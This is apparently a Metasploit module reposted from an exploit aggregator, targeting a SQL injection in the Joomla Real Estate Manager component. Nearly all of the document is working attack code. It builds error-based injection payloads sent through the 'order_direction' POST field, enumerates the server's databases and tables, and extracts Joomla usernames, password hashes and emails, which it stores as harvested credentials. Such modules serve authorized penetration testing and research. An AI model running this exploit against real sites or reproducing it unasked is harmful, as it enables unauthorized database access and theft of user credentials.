Share
## https://sploitus.com/exploit?id=PACKETSTORM:180653
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Joomla Real Estate Manager Component Error-Based SQL Injection',  
'Description' => %q{  
This module exploits a SQL injection vulnerability in Joomla Plugin  
com_realestatemanager versions 3.7 in order to either enumerate  
usernames and password hashes.  
},  
'References' =>  
[  
['EDB', '38445']  
],  
'Author' =>  
[  
'Omer Ramic', # discovery  
'Nixawk', # metasploit module  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2015-10-22'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/'])  
])  
end  
  
def print_good(message='')  
super("#{rhost}:#{rport} - #{message}")  
end  
  
def print_status(message='')  
super("#{rhost}:#{rport} - #{message}")  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: ssl ? 'https' : 'http',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user]  
}.merge(service_data)  
  
if opts[:password]  
credential_data.merge!(  
private_data: opts[:password],  
private_type: :nonreplayable_hash,  
jtr_format: 'md5'  
)  
end  
  
login_data = {  
core: create_credential(credential_data),  
status: opts[:status],  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def check  
flag = Rex::Text.rand_text_alpha(5)  
payload = "0x#{flag.unpack('H*')[0]}"  
  
data = sqli(payload)  
if data && data.include?(flag)  
Msf::Exploit::CheckCode::Vulnerable  
else  
Msf::Exploit::CheckCode::Safe  
end  
end  
  
def sqli(query)  
lmark = Rex::Text.rand_text_alpha(5)  
rmark = Rex::Text.rand_text_alpha(5)  
  
payload = '(SELECT 6062 FROM(SELECT COUNT(*),CONCAT('  
payload << "0x#{lmark.unpack('H*')[0]},"  
payload << '%s,'  
payload << "0x#{rmark.unpack('H*')[0]},"  
payload << 'FLOOR(RAND(0)*2)'  
payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'  
  
get = {  
'option' => 'com_realestatemanager',  
'task' => 'showCategory',  
'catid' => '50',  
'Itemid' => '132'  
}  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'vars_get' => get,  
})  
  
  
if res && res.code == 200  
cookie = res.get_cookies  
post = {  
'order_field' => 'price',  
'order_direction' => 'asc,' + (payload % query)  
}  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'POST',  
'cookie' => cookie,  
'vars_get' => get,  
'vars_post' => post  
})  
  
# Error based SQL Injection  
if res && res.code == 500 && res.body =~ /#{lmark}(.*)#{rmark}/  
$1  
end  
end  
end  
  
def query_databases  
dbs = []  
  
query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) '  
query << 'FROM INFORMATION_SCHEMA.SCHEMATA)'  
  
dbc = sqli(query)  
  
query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) '  
query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)'  
  
0.upto(dbc.to_i - 1) do |i|  
dbname = sqli(query_fmt % i)  
dbs << dbname  
vprint_good("Found database name: #{dbname}")  
end  
  
%w(performance_schema information_schema mysql).each do |dbname|  
dbs.delete(dbname) if dbs.include?(dbname)  
end  
dbs  
end  
  
def query_tables(database)  
tbs = []  
  
query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) '  
query << 'FROM INFORMATION_SCHEMA.TABLES '  
query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))"  
  
tbc = sqli(query)  
  
query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) '  
query_fmt << 'FROM INFORMATION_SCHEMA.TABLES '  
query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) "  
query_fmt << 'LIMIT %d,1)'  
  
vprint_status('tables in database: %s' % database)  
0.upto(tbc.to_i - 1) do |i|  
tbname = sqli(query_fmt % i)  
vprint_good("Found table #{database}.#{tbname}")  
tbs << tbname if tbname =~ /_users$/  
end  
tbs  
end  
  
def query_columns(database, table)  
cols = []  
query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})"  
  
colc = sqli(query)  
vprint_status("Found Columns: #{colc} from #{database}.#{table}")  
  
valid_cols = [ # joomla_users  
'activation',  
'block',  
'email',  
'id',  
'lastResetTime',  
'lastvisitDate',  
'name',  
'otep',  
'otpKey',  
'params',  
'password',  
'registerDate',  
'requireReset',  
'resetCount',  
'sendEmail',  
'username'  
]  
  
query_fmt = '(SELECT MID((IFNULL(CAST(%s AS CHAR),0x20)),%d,54) '  
query_fmt << "FROM #{database}.#{table} ORDER BY id LIMIT %d,1)"  
  
0.upto(colc.to_i - 1) do |i|  
record = {}  
valid_cols.each do |col|  
l = 1  
record[col] = ''  
loop do  
value = sqli(query_fmt % [col, l, i])  
break if value.blank?  
record[col] << value  
l += 54  
end  
end  
cols << record  
  
unless record['username'].blank?  
print_good("Found credential: #{record['username']}:#{record['password']} (Email: #{record['email']})")  
report_cred(  
ip: rhost,  
port: datastore['RPORT'],  
user: record['username'].to_s,  
password: record['password'].to_s,  
status: Metasploit::Model::Login::Status::UNTRIED,  
proof: record.to_s  
)  
end  
  
vprint_status(record.to_s)  
end  
cols  
end  
  
def run  
dbs = query_databases  
dbs.each do |db|  
tables = query_tables(db)  
tables.each do |table|  
cols = query_columns(db, table)  
next if cols.blank?  
path = store_loot(  
'joomla.users',  
'text/plain',  
datastore['RHOST'],  
cols.to_json,  
'joomla.users')  
print_good('Saved file to: ' + path)  
end  
end  
end  
end